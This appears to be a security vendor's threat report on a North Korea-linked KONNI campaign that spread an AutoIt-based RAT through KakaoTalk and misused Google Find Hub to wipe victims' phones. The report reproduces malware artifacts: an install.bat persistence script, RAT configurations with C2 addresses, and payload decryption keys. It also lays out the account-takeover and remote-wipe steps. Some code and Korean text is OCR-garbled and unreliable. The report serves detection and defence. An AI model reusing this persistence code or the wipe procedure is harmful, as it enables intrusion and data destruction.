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@ Key Findings

* Emergence of an Android remote data-wipe attack exploiting Google’s asset-tracking
feature, Find Hub.

« |dentified as a follow-up attack of the KONNI APT campaign, which had operated covertly for
nearly a year.

» Attackers impersonated psychological counselors and North Korean human rights activists,
distributing malware disguised as stress-relief programs.

+ Malicious files were delivered through the KakaoTalk messenger, leveraging impersonation
of acquaintances to conduct trust-based attacks.

» Strengthening real-time behavior-based detection and IOC-linked monitoring through EDR
solutions is strongly recommended.
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1. Overview

The Genians Security Center (GSC) has identified new attack activity linked to the KONNI APT
campaign, which is known to be associated with the Kimsuky or APT37 groups.

During its ongoing investigation into KONNI’s operations, GSC discovered that malicious files
disguised as “stress-relief programs” were being widely distributed through South Korea'’s
KakaoTalk messenger platform.

KONNI has overlapping targets and infrastructure with Kimsuky and APT37, leading some
researchers to classify them as the same group. All three are recognized as state-sponsored
threat actors operating under the direction of the North Korean regime.

Meanwhile, on October 22, 2025, the Multilateral Sanctions Monitoring Team (MSMT) released a
report titled “Activities of the DPRK’s Cyber and IT Workers” and adopted a joint statement.

MSMT, established under UN Security Council (UNSC) resolutions, is a multilateral body that
monitors and reports on violations and evasion of sanctions measures to the international

community.

According to the MSMT report, Kimsuky and KONNI are assessed as distinct groups associated
with the 63 Research Center, with close connections to North Korean cyber operators and IT
under UN sanctions.
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[Figure 1-1] Kimsuky and KONNI Groups under the 63 Research Center (Source: MSMT)

The recently identified KONNI campaign is particularly notable for cases in which Google
Android-based smartphones and tablet PCs in South Korea were remotely reset, resulting
in the unauthorized deletion of personal data stored on the devices.

The Google “Find Hub” service, which is provided to protect lost or stolen Android devices, was
abused in data-destructive attacks. While Find Hub is intended to safeguard Android devices, this
is the first confirmed case in which a state-sponsored threat actor obtained remote control by
compromising Google accounts, then used the service to perform location tracking and remote
wipe. This development demonstrates a realistic risk that the feature can be abused within APT
campaigns.

This report aims to identify the first known attack tactic in which a state-sponsored threat group
linked to North Korea compromised Find Hub accounts and abused legitimate management
functions to remotely reset mobile devices. It also analyzes a chained scenario in which the
attacker leveraged victims’ KakaoTalk PC sessions to distribute malicious files to close contacts,
and provides response measures and intelligence insights for similar threats.

2. Background

In late July of last year, the Genians Security Center (GSC) released a report titled “Analysis of
defense evasion tactics using Autolt in the KONNI APT campaign.”

According to the attack scenario analyzed at that time, the threat actors designed and executed
attacks using social engineering themes such as Korean National Tax Service documents and
scholarship application forms for North Korean defectors.

Analysis of defense evasion tactics using Autolt in the KONNI APT campaign

The malicious scripts installed by the attack remain stealthily resident on victim systems and can
lie dormant for extended periods. During this time they monitor system state and make internal
changes to ensure persistence. They also communicate with multiple C2 servers to stealthily
install additional malicious modules, allowing the threat actors to monitor and control system
activity in near real time.
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[Figure 2-1] Attack flowchart

If behavior-based anomaly detection such as EDR is absent, threat actors can remain resident on
compromised endpoints for long periods, harvesting user data and conducting covert surveillance
via webcams.

In this process, the access obtained during the initial intrusion enables system control and
additional information collection, while evasion tactics allow long-term concealment.

State-sponsored threat actors can exploit the webcam to covertly monitor the user’s surroundings
or identify periods of absence and carry out follow-on attacks.

In particular, when the webcam has a built-in microphone, it can capture audio as well as video,
significantly expanding the scope of privacy violations.

Webcams without activity LEDs make it difficult for users to notice that a video stream is active,
increasing the likelihood of undetected monitoring and therefore the overall security risk.

If the victim’s system is online and the webcam is active while the user is away, the threat actor
can verify the absence and execute remote operations with minimal risk of immediate detection.

Additionally, by using the stolen Google account credentials and Find Hub’s management
functions, the actor tracks the victim’s real-time location (GPS coordinates) and repeatedly
triggers remote resets to delete personal data on Android devices, disrupting normal use.
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As a result, victims may have difficulty receiving important contacts and notification messages on
their mobile devices, and the threat actors can sustain prolonged, persistent attacks over time.

To enhance security, it is recommended to use webcams with indicator light and to physically
cover the camera lens when not in use.

In addition, users should use built-in hardware mute functions and strictly control camera and
microphone access permissions within the operating system and installed applications.

Furthermore, the following additional security measures should be reviewed and implemented to
reinforce security policies against similar threats.

Account Security Hardening

Change Google account password regularly and enable additional authentication
methods such as 2-factor authentication (2FA) to protect against credential exposure.

When leaving, power off the computer to minimize the risk of physical or remote
attacks.

Protecting the Find Hub Service

To prevent the unauthorized abuse of remote wipe features through compromised
Google accounts, service providers should review and implement real-time security
verification measures, such as additional authentication processes that confirm the
legitimate device owner.

Upon receiving a remote reset command, the device does not reset immediately. It
switches to a locked screen, applies a short delay, and notifies the owner via a
smartphone push alert.

Accordingly, it is recommended to implement a security procedure that clearly verifies
whether the remote wipe request has been made by the legitimate device owner
before execution, through multi-factor authentication such as facial recognition,
fingerprint verification, or PIN entry.

Strengthening Messenger File Security and User Awareness

Reinforce verification of files received via messenger platforms before opening or
execution.

Use clear warning prompts to help users avoid downloading or running malicious files,
and continuously reinforce security awareness.
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3. Attack Progression

3-1. Initial Access

The threat actors infiltrated specific individuals’ devices through spear-phishing that spoofed
organizations such as the National Tax Service, then conducted internal reconnaissance and
information collection for a prolonged period. Among the victims was a professional psychological
counselor who supports North Korean defector youths during resettlement by addressing
psychological difficulties and providing services such as career guidance, educational counseling,
and mentoring to help stabilize their well-being.

Another victim opened an email impersonating the National Tax Service and executed the
attached malicious file. After receiving a follow-up message stating it had been sent by mistake,

the victim dismissed the incident.

These cases illustrate how crafty and persistent spear-phishing techniques can be in deceiving
victims and underscore the need for heightened vigilance.
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[Figure 3-1] Screen impersonating an “email delivery error notice”

In addition, multiple cases were identified in which malware distributed through National Tax
Service impersonation was executed on victims' systems. Various artifacts were identified,
including the download history of "Guidance on submitting explanatory materials pursuant to a

tax-evasion report.zip," which enabled a detailed trace of the attackers’ initial intrusion procedure.
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3-2. Attack Scenario

This report presents the findings of an in-depth examination and digital forensic analysis of
selected victim devices exposed to spear-phishing attacks impersonating the National Tax
Service. The analysis confirmed that the compromised devices did not remain first-stage victims
only; they were converted into components of the attackers’ infrastructure and abused as relays to
propagate secondary malicious files via KakaoTalk.

These findings show that the attackers deliberately targeted services built on social trust to amplify
their impact, reflecting more advanced tactics and increasingly sophisticated methods of
concealment.
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[Figure 3-2] Cases of malicious file distribution via KakaoTalk

The investigation found that on the morning of September 5 a threat actor compromised and
abused the KakaoTalk account of a South Korea—based counselor who specializes in
psychological support for North Korean defector youth, and sent a malicious file disguised as a
“stress relief program” to an actual defector student. Execution of the file resulted in infections on
several devices, and subsequent remediation measures were implemented.

Just ten days later, on September 15, a separate victim’s KakaoTalk account was used to
distribute malicious files en masse in a simultaneous wave.

This campaign is assessed as a typical social-engineering attack that leveraged trust-based
communications to precisely exploit the target’s psychological and social context. In particular, the
compromise of messenger accounts and their use as a secondary attack vector increased the
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attack’s level of customization while expanding its attack surface and propagation scope, thereby
amplifying the threat.

A notable finding is that immediately after confirming through Find Hub’s location query that the
victim was outside, the threat actor executed a remote reset command on the victim’s Android
devices (smartphone and tablet). The remote reset halted normal device operation, blocking
notification and message alerts from messenger applications and effectively cutting off the
account owner’s awareness channel, thereby delaying detection and response.

The attacker then exploited the compromised KakaoTalk account as a secondary distribution
channel, rapidly spreading the malicious files immediately after the remote reset, achieving both
concealment and propagation at the same time.

This combination of device neutralization and account-based propagation is
unprecedented among previously known state-sponsored APT scenarios and was first
identified and analyzed in this report. It demonstrates the attacker’s tactical maturity and
advanced evasion strategy, marking a key inflection point in the evolution of APT tactics.

3-3. Remote Interference with Devices

The threat actor who achieved initial access conducted prolonged internal reconnaissance and
remote monitoring, during which they collected and exfiltrated the victim’s sensitive information
and key account credentials, ultimately gaining access to Google and Naver accounts.

Using the stolen credentials, the attacker took control of the accounts and misused Find Hub’s
management features to execute destructive actions, such as remotely wiping mobile devices.
Digital forensic and artifact analysis identified the attacker’s access addresses, which were
organized in chronological order after removing duplicates, as follows.
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Date & Time

2025-09-15 11:00:51

2025-09-15 11:02:16

2025-09-15 11:11:41

2025-09-15 11:11:55

2025-09-15 11:12:21

2025-09-15 11:12:35

2025-09-15 11:12:35

2025-09-15 11:12:43

2025-09-15 11:12:47

2025-09-15 11:12:49

2025-09-15 11:16:22

2025-09-15 11:33:20

2025-09-15 11:33:33

2025-09-15 11:33:49

[Figure 3-3] Log of remote reset operations by timestamp

The threat actor first logged into the victim’s Gmail account and checked recent login session
records on the Account Activity Details page.
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Next, they accessed the Google Account Management page, opened the Security menu, and
confirmed the recovery email address registered under a Naver account. The attacker then logged
into that Naver account, deleted Google’s security alert emails, and emptied the trash folder,
taking deliberate steps to remove traces of their activity.

Afterward, the attacker opened Google’s Security menu, went to the Your devices section, and
selected the Find My Phone link. From there, selecting a registered smartphone or tablet
redirected them to the Find Hub service, which allows various remote commands to be executed
on the linked devices.
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[Figure 3-4] Examples of smartphones and tablets registered in Find Hub

The threat actor executed remote reset commands on the registered Android-based smartphones
and tablets. During this process, the attacker re-entered the Google account password to proceed
with the device wipe action, which was successfully carried out, resulting in the complete deletion
of critical data stored on the affected devices.

10/31


https://www.genians.co.kr/hubfs/%5BFigure%203-4%5D%20Examples%20of%20smartphones%20and%20tablets%20registered%20in%20Find%20Hub-1.png?hsLang=en
https://www.genians.co.kr/hubfs/%5BFigure%203-4%5D%20Examples%20of%20smartphones%20and%20tablets%20registered%20in%20Find%20Hub-1.png?hsLang=en

) httpsy//www.google.com/android/find/

717] 7|3}

[E] ollA R ClO|E7t RHOZ AFIELICH

& E7I2 0= Ul 2171 S{=0IA 71712] /XIS MEE + gBLICL

By 7PI7tRIEll Heiel 2 ChAl 22tel YE7E S| AF7H AIRHELIC

828, Google AFol 2213101 71712 Axgct.

Factory reset device
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Next, you'll sign in to your Google Account to erase your device.

[Figure 3-5] Execution of the device reset command

Even after the device reset was completed, the threat actor repeatedly sent the same remote

reset command more than three times, disrupting and delaying the normal recovery and use of the

targeted smart devices for an extended period, which rendered the affected devices unavailable
for normal use. At that point, the attacker accessed the victim’s logged-in KakaoTalk PC version
and used it as a channel to distribute malicious files.
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[Figure 3-6] Device reset and subsequent attack

As a result of this APT attack, the victim suffered not only information theft but also severe
damage across multiple devices.

Personal and Sensitive Data Leak

The threat actor gained unauthorized access to the victim’s PC and stole a large
volume of personally identifiable information (PIl), sensitive data, and private content
captured through the webcam.

Mobile Device Data Destruction

The victim’s smartphone and tablet received multiple remote reset commands from the
compromised account, resulting in a complete deletion of stored data through factory
reset and remote wipe actions.

Account Compromise and Secondary Propagation

The threat actor gained unauthorized access through the victim’s active messenger
session credentials and used the compromised account as a channel to distribute
malware.

[Video 3-1] Initialization demonstration
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4. In-depth Analysis

4-1. MSI Malware Analysis

All samples of the "Stress Clear.zip" files distributed via KakaoTalk messages were found to share
the same structure. The archive contains a Microsoft Installer (MSI) package disguised as "Stress
Clear.msi."

The MSI contains a valid digital signature issued to "Chengdu Hechenyingjia Mining Partnership
Enterprise" in China. This represents an abuse of code signing: the attacker used a legitimate-
looking signature to disguise the file’s origin and integrity, making it appear like a legitimate
application.

Tables File Component_  FileName FileSize Version Language
AdminExecuteSequence pS1 cmpO 803608  3.3.145 2057
AdminUlSequence _p5_2 cmp_0 delfinc.dll 203725392 3700 1033
AdvtExecuteSequence _p5.3 cmp_0 delfino.exe 4248688 3.7.00 1033
Binary _p5 4 cmpl bkzngjk1.exe|DelfincUAC exe 4292882 1030 104
Component _p5.5 cmp0 brgégigk.exe|delfinounloader-g3.exe 4713888 2028 104
CustomAction _p5.8 cmp_0 fwhelper.dll 5140864 1053 1042
Directory _p5_10  cmp_0 install.bat 428
Feature _p5_ 11 cmp0 loKITr.au3 2330062
FeatureComponents _p5_12  cmp_0 lege.ico 3850
File _p5_13 cmp0 unins__.dat 9431
lcon _p5_14 cmp0 unins___exe 1183161 51105200 0O
InstallExecuteSequence _p5_6 cmp_1 error.vbs 217

InstallUlSequence
MPE_RunaActions

Media
MsiFileHash
Tables ActionlD DisplayName Target Parameters  StartType
MPE_Runictions Runaction1  Action [AppDataFolder] = E2] Z2[MHuinstall bat 1
Mediz RunAction2  Action 1 [AppDataFolder]2=E2]2 2| Hwerrorvhs
MsiFileHash

[Figure 4-1] Internal structure of 'Stress Clear.msi'

The 'Stress Clear.msi' file runs only on Windows operating systems and is not executable on non-
compatible platforms such as smartphones, so those devices are not infection targets. When
executed in a compatible environment, the standard MSI installation GUI appears, while malicious
actions embedded in the installation routine are performed without the user’s awareness.

When the malicious MSI runs, it sequentially invokes the included install.bat batch file and
error.vbs script according to the ActionID values.

The overall execution flow is roughly as follows. Note that although the package contains some
legitimate financial security modules, these do not affect the malicious behavior.
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Initial execution

When the MSI installer runs, it calls the embedded install.bat, which performs initial
setup and then deploys payloads sequentially, such as copying malicious files and
registering scheduled tasks.

Control branching
Depending on the internal ActionlD values, the MSI invokes the error.vbs script.
Concealment actions

The error.vbs script displays a fake error dialog (for example, a language pack error) to
the user.

This decoy message is designed to make the user mistake the installation behavior for
a normal error, thereby hiding the malicious activity and delaying detection.

The messages shown to the user are a Korean installation prompt for the “AEzZ{|A Z2|
01”(Stress Clear) program and a fake error dialog that claims a language-pack compatibility issue.
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[Figure 4-2] Screens displayed during malicious file execution
The specific commands executed are as follows:
%SystemRoot%\system32\cmd.exe /c
%APPDATA%\A EZ| A Z2[0\install.bat

@echo off

set dr=Music copy "%~dpOAutolt3.exe" %public%\%dr%\Autolt3.exe

copy "%~dpOloKITr.au3" %public%\%dr%\loKITr.au3 cd /d %public%\%dr% & copy
c:\windows\system32\schtasks.exe hwpviewer.exe & hwpviewer /delete /tn "loKITr" /f & hwpviewer
/create /sc minute /mo 1 /tn "loKITr" /tr "%public%\%dr%\Autolt3.exe

%public%\%dr%\loKITr.au3" del /f /q "%~dpO0Autolt3.exe"

del /f Iq "%~dpOloKITr.au3"

del /f Iq "%~f0"

[Table 4-1] Commands in the install.bat Script
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The BAT file copies "Autolt3.exe" and the "loKITr.au3" script to the public Music folder
("%PUBLIC%\Music").

Next, it makes a copy of the original Task Scheduler Configuration Tool executable "schtasks.exe"
and renames it to "hwpviewer.exe".

Next, it creates a scheduled task set to run every minute to continuously execute the malicious
Autolt script.

Finally, it deletes the original batch file and source files to minimize traces. These actions are
typical for establishing persistence and concealing evidence, including self-deletion, removal of
source artifacts, and masquerading as a document viewer.

%SystemRoot%\System32\WScript.exe
%APPDATAY%\A Ej|A Z2[/0{\error.vbs

MsgBox "®ixlf A|AR] Ho{Znf == 720 00| S &t=|X| ¢hof e 4~ Q&L Ct." <This
program cannot run because the current system language pack is incompatible with the program’s
language pack.> & vbCrLf & _
"HHOM t=0{(tH et =) Ao S MX[SHAHLE HE St F| TIA| A™>d5H =M 2."<In Settings,
install or switch to the Korean (Republic of Korea) language pack, then run the program again.>, _
vbCritical, "1 0{Zd @ ="<Language Pack Error>
X [Table 4-2] error.vbs Script Command

The VBS script displays a warning dialog titled "Language Pack Error." The code itself contains no
malicious behavior; it is used as a decoy message to make the program appear nonfunctional and
mislead the user.

4-2. Autolt Script Analysis

The Autolt script "loKITr.au3," which is run periodically by Task Scheduler, is a core component
designed to perform persistent malicious activity on the system.

The script is loaded at regular intervals to execute additional commands and to maintain or update
the malicious payload.

It also conceals its malicious logic by inserting unnecessary code at the beginning and end of the
script that is unrelated to the actual execution flow, in order to hinder detection and analysis.
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[Figure 4-3] Internal code of the compiled Autolt script

A review of the internal code shows that the file has the structure of a compiled Autolt script, and
that the actual commands can be restored and verified through decompilation. For detailed
analysis, see the previously referenced report, "Analysis of defense evasion tactics using Autolt in

the KONNI APT campaign.”

The target code is similar to the Autolt-based LilithRAT but in a modified form that uses the
"endClient9688" JSON marker, and its command-and-control (C2) connection is made through a
Germany-based domain. The domain is built on WordPress and currently displays a maintenance

notice. For this reason, it is also classified as EndRAT.
C2
116.202.99[.]218
bp-analytics|.]Jde
Mutex
Global\AB732E15-D8DD-87A1-7464-CE6698819E701
StartupDir

Smart_Web.Ink

FHK%1JO™LS. tOH}

AU3!EAO6M " ys$8<o
z.Ag-A"ckCER!-..
a»: 1¥)Aic.”.@%as
P€F+.k; 10+0u: E=E
P3+.7E.¢"... pd
aciM.g. .x..". .pa
T62.M:&]>[°5. ¥P
~..—9b. “ZBD% CuX
+i..._°5.7.yé.q.
X+~%onE00A7~S0' L
Z.é6.ColU.%AUtfol
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In similar past campaigns, multiple C2 servers were hosted on WordPress. We assess that the
actor repeatedly abused WordPress-based web servers, which are more likely to have security
weaknesses.

° D:\script.au3 - SciTE
File Edit Search Wiew Tools Options Language Buffers Help

DEHEE| S . | | Q Q¥
L6711 While -S5tringlen ($stempname ) < - sirandomlength
Le7l2 Fatempname - £= - Chr (Random (87, -122, -1
LeTl3 WEnd
Le7l4a Satempname -=-5sdirectoryname - &£ -"4" £ - $3fileprefix & $stempname - & -"."
Le7T15 Until -Hot -FileExists ($stempname
Le7lé Eeturn - $stempname
Le717 EndFunc
LeET1E
Le7ls Global - Sgsmutex = "Global“\AB73ZE15-D8DD-87A1-7464-CE£E08819E701"™
LeT20 Global - &$3serverip-=-"116.202.585,218"
Le7T21 Global - Fi=serverport -=-443
Le722 Global - $bhisconnected = -False
LeT23 Global - Shprocess
LeaT24 Global -$cmd start-=-"cmd"
LeT25 Global -fcmd stop-=-"exit"
LeT2a Glokal  -fcmd download- = "download"
La7T27 Global -$cmd upload-=-"upload"
Le7T2Z8 Global  -Ycmd explorer list.=-"listdir"
Le729 Global -$cmd delete = "delete"
L&730 Global -Scmd execute -=-"run"

[Figure 4-4] Decompiled script

As part of the attack technique, a mutex is used to prevent duplicate execution, and a malicious
shortcut file (.Ink) is registered in Startup so it launches automatically after a system restart. These
files are distributed with minor variations.

In previous cases, the shortcut was named "Start_ Web.Ink," whereas in this case it was changed
to "Smart_Web.Ink."

5. Incident Investigation

5-1. Digital Forensics

Following the Digital Forensics and Incident Response (DFIR) process, we collected multiple
additional pieces of evidence. For reference, DFIR generally proceeds as follows:

Preparation

17/31


https://www.genians.co.kr/hubfs/%5BFigure%204-4%5D%20Decompiled%20script.png?hsLang=en
https://www.genians.co.kr/hubfs/%5BFigure%204-4%5D%20Decompiled%20script.png?hsLang=en

Plan the response, prepare tools and the team.
Detection & Identification
Detect anomalies and confirm whether an incident has occurred.
Containment & Response
Prevent further spread and take initial response actions.
Analysis
Analyze logs, systems, and malware to determine the attack path and root cause.
Recovery
Restore operations, remediate damage, and restore data.
Post-Incident Reporting

Prepare the incident report and develop a plan to prevent recurrence.

5-2. Digital Evidence Collection and Analysis

On September 5, 2025, we conducted a digital forensic examination of several victims’ PCs that
had downloaded and executed an MSI file distributed via KakaoTalk Messenger.

The investigation indicated that multiple additional malicious files had been installed on the
systems, prompting evidence collection.

The collected artifacts were used for in-depth analysis to identify malware types and determine the
scope of compromise.

Microsoft 2025-01-16 2% 4:16
BB Microsoft OneDrive 2024-12-15 2= 5:16

- Mozilla-1de4eec8-1241-4177—a864—e.., 2025-05-04 2% 12:20

| B8 NuGetPacks N 2025-09-08 27 11:16
B Package Cache ¢HE W 2025-00-08 @7
I Packages 37]:2.12MB
B regid.1991-06.commicr I}l Autolt3.exe, mmiib.au3

[Figure 5-1] Collecting additional malicious files
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Multiple malicious files were identified on the victim’s device, assessed to have been additionally
downloaded via the C2 server.

Analysis shows that these files contain malicious Autolt scripts and modules that enable remote
access and keylogging.

The threat actor concealed various malware components by encoding or encrypting them within
Autolt scripts. This technique is assessed as a strategy to evade security product detection and
delay analysis of malicious activity.

6. Threat Attribution

6-1. MSI-Based Strategy

In early April, the Genians Security Center (GSC) published a detailed report titled "Analysis of
KONNI APT Campaign Disguised as Korean National Police Agency and National Human Rights
Commission."

Analysis of KONNI APT Campaign Disguised as Korean National Police Agency and
National Human Rights Commission

In the spear-phishing attack that impersonated a police investigator, multiple North Korean
expressions were identified. For example, "incha" means "soon" or "immediately" and is used to
indicate that an action is imminent. In addition, "taegong" was confirmed as a North Korean
expression meaning "slacking off at work."

Threat actors strive to minimize exposure of their native language, yet habitual expressions can
surface unconsciously. These linguistic traces can serve as important clues for assessing a threat
actor’s nationality or operating region and for conducting attribution analysis of the attack group.

In the police-impersonation attack, a malicious file named "2t F = XCHEHQ| 0| M| 2) - MX| Tt
l.msi(Malware Detection (Malware Zero) - Installer.msi)" was used. This file registered the
"loKITr.au3" script with Task Scheduler so that it could run automatically at regular intervals.

Meanwhile, in the "Stress Clear.msi" file delivered via KakaoTalk, the same "loKITr.au3" script was
used, indicating that similar tactics and techniques were employed across the two attacks.

ot A= FICHZYO| K 2) - MX| THY.msi
loKlITr.au3

Stress Clear.msi
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loKITr.au3

Additionally, each MSI file was built using EMCO Software’s MSI Package Builder (versions 11.2.6
and 11.2.8).

DF63E-7BBE-4B6A-
83E2-86880167A78
4}--@ 27

Builder Archite
e Ll 2 (o sl |
or ODBCDataSourc
e table. This ex

MSI Package Bui
lder Architect 1
g 2o@BoZ28E8 200000

5 1
] 0
3 0
4 0
] 1
] E
1 4
9 4
2 3

[Figure 6-1] Version comparison of MSI Package Builder

6-2. Attack Weapon Path

The threat actor used an Autolt script to launch RemcosRAT (Remote Access Trojan).

RemcosRAT has been continually updated since its initial 1.0 release in July 2016. As of
September 2025, the latest version is 7.0.4. Because it is sold commercially, threat actors can
easily obtain and use it in attacks.

On some victims’ systems, RemcosRAT 7.0.4 Pro was identified, indicating that the attackers
were actively using the latest malware and tactics.

.#Region..#Autol

t3Wrapper_Outfil

e_type=a3x..#Aut DZ'W‘3_
oIt3Wrapper_Outf .
ile=D:\3_Attack . WAutoit¥
Weapon\Autoit\Bu Build#WRemcosw

ild\Remcos\RunBi
nary.a3x..#EndRe
gion..#Region Gl
obal Variables a
nd Constants..Gl
obal Const $form

RunBinary.a3x

[Figure 6-2] Internal strings of the Autolt script

Analysis of the collected Autolt scripts identified parts of the internal folder structure, which is
assessed as a meaningful clue for tracing the attack infrastructure and development environment.
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Additionally, naming the path used for development "Attack Weapon" suggests that the threat
actor intended to develop a cyberattack weapon and an operational plan.

D:\3_Attack Weapon\Autoit\Build\

Remcos\RunBinary.a3x

This folder structure matches the paths referenced in the previously cited report, "Analysis of
defense evasion tactics using Autolt in the KONNI APT campaign."

D:\3_Attack Weapon\Autoit\Build\

Lilith\Lilith.a3x

For reference, in a malicious file distributed on October 23, 2025, under the guise of the National
Tax Service’s "Request for Submission of Materials to Explain Unreported Source of Funds," the
following path was additionally identified.

D:\3_Attack Weapon\Autoit\Build\

__Poseidon - Attack\client3.3.14.a3x

6-3. RAT Correlation Analysis

On the victims’ devices, in addition to LilithRAT and RemcosRAT, various RAT module variants
hidden within Autolt scripts were identified. The representative types are as follows.

QuasarRAT
sqlite3.au3
RftRAT

cliconfg.au3

These files were received from the C2 and created in subdirectories of the
"%APPDATA%\Google\Browser" directory whose names contain "adb" or "adv." The received
scripts "autoit.vbs" and "install.bat" then perform Autolt-based execution from those locations.

The script "sqlite3.au3" contains the directive "#Autolt3Wrapper_Outfile_type=a3x," indicating it
was built via the compiler wrapper.
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This script derives an AES decryption key through an HMAC-based process and uses it to decrypt
an AES-encrypted payload.

The decrypted module is the C# "QuasarRAT," which is injected into the "hncfinder.exe" process.
The password string used in this process is as follows.

xPabyrwTaOczVwegVMgzmEpq

Password (

MD5 (hex): 726155d1291852775ede6c9543788bbe

utf-8): 'xPabyrwTaOczVwegVMgzmEpq'

Block size B: 64 bytes (HMAC)
Inner padded key (all 64 bytes hex): 3636363636363636363636363636363636363636363636363636. .
Outer padded key (all 64 bytes hex): 5c5c5¢5c5c5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢. .

Index | MD
IR |---
e | 72
1| ef
2 | 55
3| d1l
4 | 29
5 | 18
6 | 52
71 77
8 | 5e
9 | de
10 | 6c
11 | 95
12 | 43
13 | 78
14 | eb
15 | be
bl (after
b2 (after
MD5(b1) =
MD5(b2) =

|

|

| 36
| 36
| 36
| 36
| 36
| 36
| 36
| 36
| 36
| 36
| 36
| 36
| 36
| 36
| 36
| 36

44
59
63
e’/
1f
2e
64
41
68
e8
5a
a3
75
de
3d
88

5c
5c
5c
5¢c
5¢c
5¢c
5¢c
5¢
5¢
5c
5c
5c
5¢c
5¢c
5¢c
5¢c

2e
33
@9
8d
75
44
oe
2b
02
82
30
c9
1f
24
57
e2

XOR) full (64 bytes hex): 445963e71f2e644168e85aa3754e3d883636363636363636363636..
XOR) full (64 bytes hex): 2e33098d75440e2b028230c91f2457e25¢c5¢c5¢5¢5¢5¢5¢5¢5¢5¢5¢. .

hl (hex): @55cc@8e7d656a66b3676014e6243533
h2 (hex): 2afde®2fbc50e0148171533cf88c3b27
Derived key (hex, 32 bytes): ©55cc@8e7d656a66b3676014e62435332afde@2fbc50e@148171533¢T88c3b27

[+] AES key: ©55cc08e7d656a66b3676014e62435332afde@2fbc50e0148171533cf88c3b27
[+] IV (hex): ©00000000L0O0L000PO0LOO0RR000000

[Figure 6-3] Decoding process of "sqlite3.au3"

Analysis shows that QuasarRAT attempts to communicate with a Netherlands-based C2 server at
212.118.52[.]168 and maintains a persistent connection to receive subsequent commands. For
reference, the Quasar project was initially released under the name "xRAT." GitHub history
indicates that around August 2015, with the v1.0.0.0 release, the name was changed to "Quasar."
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4 {} xClient.Config using System.Windows.Forms;

4 %Settings using xClient.Core.Helper;
b U Base types #nullable disable
%Settingso namespace xClient.Config
{8 FixDirectory() : void =I{
@Initialize():bool ?ublic static class Settings
@ AUTHKEY : string public static string VERSION = Application.ProductVersion;
& DIRECTORY : string public static string|HOSTS = "212.118.52.168:8081"; |
@ENABLELOGGER:booI public static int RECONNECTDELAY = 180000;
@ HIDEFILE : bool public static string KEY = "5yS5HGUWGATyX5BDDO+swng==";
public static string AUTHKEY = "3bMUw6FstQJ6/wlW/9nCazFePkf
@ HIDEINSTALLSUBDIRECTORY : beol public static Environment.SpecialFolder SPECIALFOLDER = En
& HIDELOGDIRECTORY : bool public static string DIRECTORY = Environment.GetFolderPath
@HOSTS:string public static string SUBDIRECTORY = "com";
@ INSTALL : bool public static string INSTALLNAME = "svchost.exe";
public static bool INSTALL = true;

[Figure 6-4] Analysis of QuasarRAT C2 server address

Next, the "cliconfg.au3" script also includes the directive "#Autolt3Wrapper_Outfile_type=a3x."

Like "sqlite3.au3," this script performs HMAC-based hash derivation to generate an AES
decryption key and uses that key to decrypt an AES-encrypted payload.

The decrypted execution module is classified as RFTServer (commonly referred to as RftRAT)
and is injected into the "cleanmgr.exe" process. The password string used in this process is as

follows.

BFigyOed7KVjU993ZCJzYb8R
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Password (utf-8): 'BFigyOed7KVju993ZCJzYb8R'

MD5 (hex): d37148caf8b9baced@ece9e5a9edc3ae

Block size B: 64 bytes (HMAC)

ipad (all 64 bytes hex): 3636363636363636363636363636363636363636363636363636363636363636. .
opad (all 64 bytes hex): 5c¢5c5c5¢5c5¢5¢c5¢5¢5¢5¢5¢5¢5¢5¢5¢5c5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢5¢. .

Index | MD5 | ipad(ex36) | ipad*MD5 (bl) | opad(®x5C) | opad”MD5 (b2)
------ L B B

@ | d3 | 36 | e5 | 5c | 8f

1] 71 | 36 | 47 | 5c | 2d

2| 48 | 386 | 7e | 5¢ | 14

3| ca | 36 | fc | 5¢ | o6

4| f8 | 36 | ce | 5¢ | a4

5| bs | 36 | 8f | 5¢ | es

6 | ba | 36 | 8c | 5c | e6

7| co | 36 | fe | 5c | 9c

8 | do | 36 | e6 | 5c | 8c

9 | ec | 36 | da | 5c | be

19 | @9 | 36 | 3f | 5c | 55

11 | e5 | 36 | d3 | 5¢ | bo

12 | a9 | 36 | of | 5¢ | f5

13 | ed | 36 | db | 5¢ | b1

14 | ¢3 | 36 | fs | 5c | of

15 | ae | 36 | 98 | 5c | f2

bl (after XOR) full (64 bytes hex): e5477efcce8f8cfeebda3dfd39fdbf5983636363636363636363636..
b2 (after XOR) full (64 bytes hex): 8f2d1496a4e5e69c8cb@55b9f5b19ff25c5¢c5c5¢c5¢c5¢5¢c5¢5¢5¢5¢. .,

MD5(b1) = hl (hex): 6a6338a2ae@dcbbc5571fdba9747ad65
MD5(b2) = h2 (hex): ©5716b@6947f8cc7b3392283a4a324%9b
Derived key (hex, 32 bytes): 6a6338a2ae@dcbbc5571fdba9747ad6505716b06947f8cc7b3392283a4a3249b

[+] AES key: 6a6338a2ae@dcbbc5571fdba9747ad6505716b06947f8cc7b3392283a4a3249b
[+] IV (hex): 00PPPEEPORRRREAODVRPOOPAALRP0D

[Figure 6-5] Decoding "cliconfg.au3"

Analysis shows that RftRAT attempts to communicate with a Japan-based C2 server at
38.180.148[.]108 and maintains a persistent connection to receive subsequent commands.

RftRAT uses simple arithmetic (subtractive) obfuscation rather than complex encryption, hiding the
actual C2 server address by using the data string as a key.
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[Figure 6-6] Analysis of RftRAT C2 server addresses
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According to previously published analyses by Genians and AhnLab, RftRAT has been used in

persistent and covert threat campaigns targeting South Korea.

Kimsuky group using Autolt to build malware (RftRAT, Amadey)

RftRAT is rarely covered in global threat analysis reports. This suggests that the malware is

tailored to Korea-focused operations and that obtaining relevant data and conducting in-depth

analysis require substantial effort.

6-4. Threat Infrastructure Correlation

Cross-correlating IOCs from victims’ devices and similar malware indicates a strong link pointing

to a single KONNI campaign.
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[Figure 6-7] Threat infrastructure relationship diagram

The threat actor abused WordPress-based hosting as staging infrastructure and operated primary

C2 nodes hosted in Russia, the United States, and Germany.

They also placed RAT-layer relay nodes on third-country servers, including Japan and the
Netherlands, using geographic distribution and multi-stage relays to evade or delay law-
enforcement log and source-IP tracing.
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7. Conclusion

When the malicious MSI file runs, the embedded batch file "install.bat" is automatically invoked to
execute follow-on commands. Genian EDR event analysis shows that this script copies the
"Autolt3.exe" executable and the "loKITr.au3" script to the public Music folder at
"C:\Users\Public\Music."

These actions are recorded in the EDR as events such as "CreateProcess," "FileCreate," and
